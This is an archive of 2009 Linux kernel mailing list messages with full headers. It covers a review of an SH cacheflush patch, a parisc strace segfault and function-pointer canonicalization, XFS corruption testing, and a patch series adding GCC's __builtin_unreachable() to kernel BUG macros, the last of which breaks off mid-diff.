Original-X-From: linux-arch-owner@vger.kernel.org Thu Sep 10 02:32:42 2009
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MlXac-0007kT-6R
	for glka-linux-arch@lo.gmane.org; Thu, 10 Sep 2009 02:32:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753402AbZIJAch (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 9 Sep 2009 20:32:37 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752863AbZIJAch
	(ORCPT <rfc822;linux-arch-outgoing>); Wed, 9 Sep 2009 20:32:37 -0400
Original-Received: from cantor2.suse.de ([195.135.220.15]:34852 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752643AbZIJAcg (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Wed, 9 Sep 2009 20:32:36 -0400
Original-Received: from relay1.suse.de (mail2.suse.de [195.135.221.8])
	by mx2.suse.de (Postfix) with ESMTP id 31FC65FC9F;
	Thu, 10 Sep 2009 02:32:39 +0200 (CEST)
In-Reply-To: <20090910002717.GC23674@linux-sh.org>
X-Mailer: Evolution 2.24.1.1 
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:4373 gmane.linux.file-systems:35201 gmane.linux.ports.parisc:2149
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2149>

On Thu, 2009-09-10 at 09:27 +0900, Paul Mundt wrote:
> On Wed, Sep 09, 2009 at 10:52:14AM -0500, James Bottomley wrote:
> > Signed-off-by: James Bottomley <James.Bottomley@suse.de>
> > ---
> >  arch/sh/include/asm/cacheflush.h |    8 ++++++++
> >  1 files changed, 8 insertions(+), 0 deletions(-)
> > 
> > diff --git a/arch/sh/include/asm/cacheflush.h b/arch/sh/include/asm/cacheflush.h
> > index 4c5462d..db06611 100644
> > --- a/arch/sh/include/asm/cacheflush.h
> > +++ b/arch/sh/include/asm/cacheflush.h
> > @@ -48,6 +48,14 @@ static inline void flush_kernel_dcache_page(struct page *page)
> >  {
> >  	flush_dcache_page(page);
> >  }
> > +static inline void flush_kernel_dcache_addr(void *addr)
> > +{
> > +	__flush_invalidate_region(addr, PAGE_SIZE);
> > +}
> > +static inline void invalidate_kernel_dcache_addr(void *addr)
> > +{
> > +	__flush_invalidate_region(addr, PAGE_SIZE);
> > +}
> >  
> Actually, I spoke too soon. The first one should be either a
> __flush_purge_region() or __flush_wback_region() I suspect. The former
> does both a writeback and invalidate, while the latter only does the
> writeback.

OK, will update.  I used the _flush_invalidate on the grounds that it
must completely kill the cacheline, so it was the safest semantic ...
actually, it's the only parisc semantic, so it's pretty much what occurs
to me most of the time.

James



From - Thu Nov 08 21:04:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Segfault in __c_f_f_c during strace of nptl application.
Date: Wed, 9 Sep 2009 21:10:09 -0400 (EDT)
Lines: 24
Approved: news@gmane.org
Message-ID: <20090910011010.3103E4CFD@hiauly1.hia.nrc.ca>
References: <119aab440909090824n55dff67sb32c0d3468a19d25@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1252545023 19150 80.91.229.12 (10 Sep 2009 01:10:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 10 Sep 2009 01:10:23 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 10 03:10:15 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MlYAw-0006qn-K8
	for glpp-linux-parisc@lo.gmane.org; Thu, 10 Sep 2009 03:10:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752891AbZIJBKI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 9 Sep 2009 21:10:08 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753093AbZIJBKI
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 9 Sep 2009 21:10:08 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4906 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752891AbZIJBKI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 9 Sep 2009 21:10:08 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 3103E4CFD; Wed,  9 Sep 2009 21:10:09 -0400 (EDT)
In-Reply-To: <119aab440909090824n55dff67sb32c0d3468a19d25@mail.gmail.com> from "Carlos O'Donell" at Sep 9, 2009 11:24:43 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2150
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2150>

> On Wed, Sep 9, 2009 at 11:16 AM, John David
> Anglin<dave@hiauly1.hia.nrc.ca> wrote:
> >> The workaround is to cast both long. I tested this and it works. I'll
> >> submit this to debian as the fix.
> >
> > This is simplest fix.
> 
> Yes, it would appear that strace/gdb (applications that ptrace
> addresses from another process) are most likely applications to suffer
> from this problem, and it may be easier to work around the problem
> there instead of in the compiler.

Actually, it probably would not be too hard to disable canonicalization
with a compiler option.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Fleming <matt@console-pimps.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch,gmane.linux.file-systems
Subject: Re: [PATCH 0/6] fix xfs by making I/O to vmap/vmalloc areas work
Date: Thu, 10 Sep 2009 07:14:24 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20090910061422.GA31781@console-pimps.org>
References: <1252511536-22066-1-git-send-email-James.Bottomley@suse.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1252563304 21118 80.91.229.12 (10 Sep 2009 06:15:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 10 Sep 2009 06:15:04 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-fsdevel@vger.kernel.org,
	linux-parisc@vger.kernel.org, Russell King <rmk@arm.linux.org.uk>,
	Christoph Hellwig <hch@lst.de>,
	Paul Mundt <lethal@linux-sh.org>
To: James Bottomley <James.Bottomley@suse.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 10 08:14:56 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Mlcvn-0005m6-G5
	for glpp-linux-parisc@lo.gmane.org; Thu, 10 Sep 2009 08:14:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754249AbZIJGOu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 10 Sep 2009 02:14:50 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753775AbZIJGOu
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 10 Sep 2009 02:14:50 -0400
Original-Received: from 124x34x33x190.ap124.ftth.ucom.ne.jp ([124.34.33.190]:49617 "EHLO
	master.linux-sh.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752391AbZIJGOt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 10 Sep 2009 02:14:49 -0400
Original-Received: from localhost (unknown [127.0.0.1])
	by master.linux-sh.org (Postfix) with ESMTP id 982A56375A;
	Thu, 10 Sep 2009 06:14:45 +0000 (UTC)
X-Virus-Scanned: amavisd-new at linux-sh.org
Original-Received: from master.linux-sh.org ([127.0.0.1])
	by localhost (master.linux-sh.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id E1JV1a3AWrR7; Thu, 10 Sep 2009 15:14:45 +0900 (JST)
Original-Received: from localhost (82-38-64-26.cable.ubr06.brad.blueyonder.co.uk [82.38.64.26])
	by master.linux-sh.org (Postfix) with ESMTP id C971263758;
	Thu, 10 Sep 2009 15:14:44 +0900 (JST)
Content-Disposition: inline
In-Reply-To: <1252511536-22066-1-git-send-email-James.Bottomley@suse.de>
User-Agent: Mutt/1.5.20 (2009-06-14)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2151 gmane.linux.kernel.cross-arch:4378 gmane.linux.file-systems:35205
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2151>

On Wed, Sep 09, 2009 at 10:52:10AM -0500, James Bottomley wrote:
> Here's version two of the patch set.  It actually compiles on both x86
> and parisc.  I could do with someone to test it on arm and sh.
> 
> The key test is how xfs behaves.  What I did to recreate the problem
> on parisc was simply create an 8GB xfs filesystem, use cp -a to pump
> about a GB of data into it from my git trees, then unmount and run
> xfs_check.  Before the patches, xfs_check reports the whole fs to be
> corrupt.  After the patches it reports everything to be OK.
> 
> James
> 

I'm seeing some corruption with these patches on SH and a 4GB XFS
filesystem. However, I am currently seeing other cache aliasing issues
on this board anyway. I'll do some more analysis tonight, unless Paul
can prove it's just my setup being weird again.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Segfault in __c_f_f_c during strace of nptl application.
Date: Thu, 10 Sep 2009 12:03:48 -0400
Lines: 29
Approved: news@gmane.org
Message-ID: <119aab440909100903u2f25b7f0i73e979ce37c0ff5a@mail.gmail.com>
References: <119aab440909090824n55dff67sb32c0d3468a19d25@mail.gmail.com>
	 <20090910011010.3103E4CFD@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1252598641 2056 80.91.229.12 (10 Sep 2009 16:04:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 10 Sep 2009 16:04:01 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 10 18:03:54 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Mlm7k-0002AB-8N
	for glpp-linux-parisc@lo.gmane.org; Thu, 10 Sep 2009 18:03:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752055AbZIJQDr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 10 Sep 2009 12:03:47 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752145AbZIJQDr
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 10 Sep 2009 12:03:47 -0400
Original-Received: from mail-bw0-f219.google.com ([209.85.218.219]:45063 "EHLO
	mail-bw0-f219.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752055AbZIJQDq (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 10 Sep 2009 12:03:46 -0400
Original-Received: by bwz19 with SMTP id 19so200076bwz.37
        for <linux-parisc@vger.kernel.org>; Thu, 10 Sep 2009 09:03:49 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type;
        bh=tJKhD4Qb4BoP4WOjilyprvjG5uPJP7ItU7BmfSfE/fM=;
        b=KfJgFvkEH3dhxgI2CAehbXd0ywKPJZUXIgR1Kb1NLwiPKDdSiYLpvYXM4ZT3QczMos
         Rx0SmljS5oYpD0SIhybDp0VN2cIFMMuh8YCZJLni/2C6DXdjMw9Sxkifhrf8MqXzjgPb
         mvHK9h0K+B9QrO+uom85ht8dUDj7T7NC0jqcs=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        b=KcgoGYlvNeN8X8tiwBM6ZbxKNfXhZbhiPwxAbJmwdi5GzYoMi+9lat20MBdzOpzJll
         nnn8soCPCAmhzoeX8dlh/I9eQcqRFvOm1/8kxnqalfmVFBdY0Oo66Yhff4Yw3Z/yEoPm
         trPBBtp4vsrMPZkFS+mWBAw/ht/QNhFJ/ZUCc=
Original-Received: by 10.204.11.18 with SMTP id r18mr1075012bkr.15.1252598628710; Thu, 
	10 Sep 2009 09:03:48 -0700 (PDT)
In-Reply-To: <20090910011010.3103E4CFD@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 748d6224f17dba64
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2152
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2152>

On Wed, Sep 9, 2009 at 9:10 PM, John David
Anglin<dave@hiauly1.hia.nrc.ca> wrote:
>> On Wed, Sep 9, 2009 at 11:16 AM, John David
>> Anglin<dave@hiauly1.hia.nrc.ca> wrote:
>> >> The workaround is to cast both long. I tested this and it works. I'll
>> >> submit this to debian as the fix.
>> >
>> > This is simplest fix.
>>
>> Yes, it would appear that strace/gdb (applications that ptrace
>> addresses from another process) are most likely applications to suffer
>> from this problem, and it may be easier to work around the problem
>> there instead of in the compiler.
>
> Actually, it probably would not be too hard to disable canonicalization
> with a compiler option.

No, it's not neccessary. This way I simply have to audit the incorrect
comparisons of a inferior's function pointer to a constant. If I were
to disable canonicalization I'd have to audit the entire compilation
unit to prove I haven't broken any valid function pointer comparisons.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Daney <ddaney@caviumnetworks.com>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.hardware.blackfin.kernel.devel
Subject: [PATCH 00/10] Add support for GCC's __builtin_unreachable() and use
 it in BUG.
Date: Thu, 10 Sep 2009 16:54:41 -0700
Lines: 55
Approved: news@gmane.org
Message-ID: <4AA991C1.1050800@caviumnetworks.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1252626962 24447 80.91.229.12 (10 Sep 2009 23:56:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 10 Sep 2009 23:56:02 +0000 (UTC)
Cc: Thomas Gleixner <tglx@linutronix.de>,
	Ingo Molnar <mingo@redhat.com>,
	"H. Peter Anvin" <hpa@zytor.com>, x86@kernel.org,
	ralf@linux-mips.org, linux-mips@linux-mips.org,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	linux390@de.ibm.com, linux-s390@vger.kernel.org,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	linux-am33-list@redhat.com, Kyle McMartin <kyle@mcmartin.ca>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>, linuxppc-dev@ozlabs.org,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	linux-alpha@vger.kernel.org,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	Mike Frysinger <vapier@gentoo.org>,
	uclinux-dist-devel@blackfin.uclinux.org
To: Linus Torvalds <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-alpha-owner@vger.kernel.org Fri Sep 11 01:55:50 2009
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MltUT-0002TG-Un
	for lnx-linux-alpha@lo.gmane.org; Fri, 11 Sep 2009 01:55:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751895AbZIJXzp (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Thu, 10 Sep 2009 19:55:45 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751777AbZIJXzo
	(ORCPT <rfc822;linux-alpha-outgoing>);
	Thu, 10 Sep 2009 19:55:44 -0400
Original-Received: from mail3.caviumnetworks.com ([12.108.191.235]:16010 "EHLO
	mail3.caviumnetworks.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750853AbZIJXzn (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>);
	Thu, 10 Sep 2009 19:55:43 -0400
Original-Received: from caexch01.caveonetworks.com (Not Verified[192.168.16.9]) by mail3.caviumnetworks.com with MailMarshal (v6,5,4,7535)
	id <B4aa991f40000>; Thu, 10 Sep 2009 16:55:32 -0700
Original-Received: from caexch01.caveonetworks.com ([192.168.16.9]) by caexch01.caveonetworks.com with Microsoft SMTPSVC(6.0.3790.3959);
	 Thu, 10 Sep 2009 16:54:44 -0700
Original-Received: from dd1.caveonetworks.com ([12.108.191.236]) by caexch01.caveonetworks.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.3959);
	 Thu, 10 Sep 2009 16:54:44 -0700
User-Agent: Thunderbird 2.0.0.21 (X11/20090320)
X-OriginalArrivalTime: 10 Sep 2009 23:54:44.0061 (UTC) FILETIME=[11D988D0:01CA3272]
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:597 gmane.linux.ports.mips.general:25052 gmane.linux.ports.parisc:2153 gmane.linux.ports.ppc64.devel:59862 gmane.linux.hardware.blackfin.kernel.devel:2463
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2153>

Starting with version 4.5, GCC has a new built-in function called
__builtin_unreachable().  The function tells the compiler that control
flow will never reach that point.  Currently we trick the compiler by
putting in for(;;); but this has the disadvantage that extra code is
emitted for an endless loop.  For an i386 kernel using
__builtin_unreachable() results in an allyesconfig that is nearly 4000
bytes smaller.

This patch set adds support to compiler.h creating a
new macro usable in the kernel called unreachable().  If the compiler
lacks __builtin_unreachable(), it just expands to for(;;).

The x86 and MIPS patches I actually tested with a GCC-4.5 snapshot.
Lacking the ability to test the rest of the architectures, I just did
what seemed right without even trying to compile the kernel.

01/10 adds the compiler.h support, the rest of the patches retrofit
the various architecture BUG macros to use it instead of for(;;) or
while(1) loops.

I will reply with the 10 patches.

The architecture specific patches I will send to a smaller set of
people.

David Daney (10):
   Add support for GCC-4.5's __builtin_unreachable() to compiler.h
   x86: Convert BUG() to use unreachable()
   MIPS: Convert BUG() to use unreachable()
   s390: Convert BUG() to use unreachable()
   mn10300: Convert BUG() to use unreachable()
   parisc: Convert BUG() to use unreachable()
   powerpc: Convert BUG() to use unreachable()
   alpha: Convert BUG() to use unreachable()
   avr32: Convert BUG() to use unreachable()
   blackfin: Convert BUG() to use unreachable()

  arch/alpha/include/asm/bug.h    |    2 +-
  arch/avr32/include/asm/bug.h    |    2 +-
  arch/blackfin/include/asm/bug.h |    2 +-
  arch/mips/include/asm/bug.h     |    4 +---
  arch/mn10300/include/asm/bug.h  |    3 ++-
  arch/parisc/include/asm/bug.h   |    4 ++--
  arch/powerpc/include/asm/bug.h  |    2 +-
  arch/s390/include/asm/bug.h     |    2 +-
  arch/x86/include/asm/bug.h      |    4 ++--
  include/linux/compiler-gcc4.h   |   14 ++++++++++++++
  include/linux/compiler.h        |    5 +++++
  11 files changed, 31 insertions(+), 13 deletions(-)

--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Daney <ddaney@caviumnetworks.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.alpha,gmane.linux.hardware.blackfin.kernel.devel
Subject: [PATCH 01/10] Add support for GCC-4.5's __builtin_unreachable() to compiler.h
Date: Thu, 10 Sep 2009 16:56:42 -0700
Lines: 84
Approved: news@gmane.org
Message-ID: <1252627011-2933-1-git-send-email-ddaney@caviumnetworks.com>
References: <4AA991C1.1050800@caviumnetworks.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1252627120 24729 80.91.229.12 (10 Sep 2009 23:58:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 10 Sep 2009 23:58:40 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
	David Daney <ddaney@caviumnetworks.com>,
	Thomas Gleixner <tglx@linutronix.de>,
	Ingo Molnar <mingo@redhat.com>,
	"H. Peter Anvin" <hpa@zytor.com>, x86@kernel.org,
	ralf@linux-mips.org, linux-mips@linux-mips.org,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	linux390@de.ibm.com, linux-s390@vger.kernel.org,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	linux-am33-list@redhat.com, Kyle McMartin <kyle@mcmartin.ca>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>, linuxppc-dev@ozlabs.org,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	linux-alpha@vger.kernel.org,
	Haavard Skinnemoen <hskinnemoen@atmel.com>,
	Mike Frysinger <vapier@g
To: torvalds@linux-foundation.org, akpm@linux-foundation.org
Original-X-From: linux-mips-bounce@linux-mips.org Fri Sep 11 01:58:28 2009
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([78.24.191.182])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MltX2-000310-Ju
	for sgi-linux-mips@gmane.org; Fri, 11 Sep 2009 01:58:28 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:50110 "EHLO
	eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL) by ftp.linux-mips.org
	with ESMTP id S1493017AbZIJX61 (ORCPT
	<rfc822;sgi-linux-mips@gmane.org>); Fri, 11 Sep 2009 01:58:27 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 11 Sep 2009 01:58:10 +0200 (CEST)
Original-Received: from mail3.caviumnetworks.com ([12.108.191.235]:16136 "EHLO
	mail3.caviumnetworks.com" rhost-flags-OK-OK-OK-OK)
	by ftp.linux-mips.org with ESMTP id S1493610AbZIJX5r (ORCPT
	<rfc822;linux-mips@linux-mips.org>); Fri, 11 Sep 2009 01:57:47 +0200
Original-Received: from caexch01.caveonetworks.com (Not Verified[192.168.16.9]) by mail3.caviumnetworks.com with MailMarshal (v6,5,4,7535)
	id <B4aa9926d0002>; Thu, 10 Sep 2009 16:57:33 -0700
Original-Received: from caexch01.caveonetworks.com ([192.168.16.9]) by caexch01.caveonetworks.com with Microsoft SMTPSVC(6.0.3790.3959);
	 Thu, 10 Sep 2009 16:57:05 -0700
Original-Received: from dd1.caveonetworks.com ([12.108.191.236]) by caexch01.caveonetworks.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.3959);
	 Thu, 10 Sep 2009 16:57:04 -0700
Original-Received: from dd1.caveonetworks.com (localhost.localdomain [127.0.0.1])
	by dd1.caveonetworks.com (8.14.2/8.14.2) with ESMTP id n8ANuvpw002959;
	Thu, 10 Sep 2009 16:56:57 -0700
Original-Received: (from ddaney@localhost)
	by dd1.caveonetworks.com (8.14.2/8.14.2/Submit) id n8ANupK1002957;
	Thu, 10 Sep 2009 16:56:51 -0700
X-Mailer: git-send-email 1.6.0.6
In-Reply-To: <4AA991C1.1050800@caviumnetworks.com>
X-OriginalArrivalTime: 10 Sep 2009 23:57:04.0797 (UTC) FILETIME=[65BC24D0:01CA3272]
X-archive-position: 24019
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ddaney@caviumnetworks.com
Precedence: bulk
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:25054 gmane.linux.kernel:888031 gmane.linux.ports.parisc:2154 gmane.linux.ports.ppc64.devel:59864 gmane.linux.ports.alpha:598 gmane.linux.hardware.blackfin.kernel.devel:2464
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2154>

Starting with version 4.5, GCC has a new built-in function
__builtin_unreachable() that can be used in places like the kernel's
BUG() where inline assembly is used to transfer control flow.  This
eliminated the need for an endless loop in these places.

The patch adds a new macro 'unreachable()' that will expand to either
__builtin_unreachable() or an endless loop depending on the compiler
version.

Signed-off-by: David Daney <ddaney@caviumnetworks.com>
CC: Thomas Gleixner <tglx@linutronix.de>
CC: Ingo Molnar <mingo@redhat.com>
CC: "H. Peter Anvin" <hpa@zytor.com>
CC: x86@kernel.org
CC: ralf@linux-mips.org
CC: linux-mips@linux-mips.org
CC: Martin Schwidefsky <schwidefsky@de.ibm.com>
CC: Heiko Carstens <heiko.carstens@de.ibm.com>
CC: linux390@de.ibm.com
CC: linux-s390@vger.kernel.org
CC: David Howells <dhowells@redhat.com>
CC: Koichi Yasutake <yasutake.koichi@jp.panasonic.com>
CC: linux-am33-list@redhat.com
CC: Kyle McMartin <kyle@mcmartin.ca>
CC: Helge Deller <deller@gmx.de>
CC: linux-parisc@vger.kernel.org
CC: Benjamin Herrenschmidt <benh@kernel.crashing.org>
CC: Paul Mackerras <paulus@samba.org>
CC: linuxppc-dev@ozlabs.org
CC: Richard Henderson <rth@twiddle.net>
CC: Ivan Kokshaysky <ink@jurassic.park.msu.ru>
CC: linux-alpha@vger.kernel.org
CC: Haavard Skinnemoen <hskinnemoen@atmel.com>
CC: Mike Frysinger <vapier@gentoo.org>
CC: uclinux-dist-devel@blackfin.uclinux.org
---
 include/linux/compiler-gcc4.h |   14 ++++++++++++++
 include/linux/compiler.h      |    5 +++++
 2 files changed, 19 insertions(+), 0 deletions(-)

diff --git a/include/linux/compiler-gcc4.h b/include/linux/compiler-gcc4.h
index 450fa59..ab3af40 100644
--- a/include/linux/compiler-gcc4.h
+++ b/include/linux/compiler-gcc4.h
@@ -36,4 +36,18 @@
    the kernel context */
 #define __cold			__attribute__((__cold__))
 
+
+#if __GNUC_MINOR__ >= 5
+/*
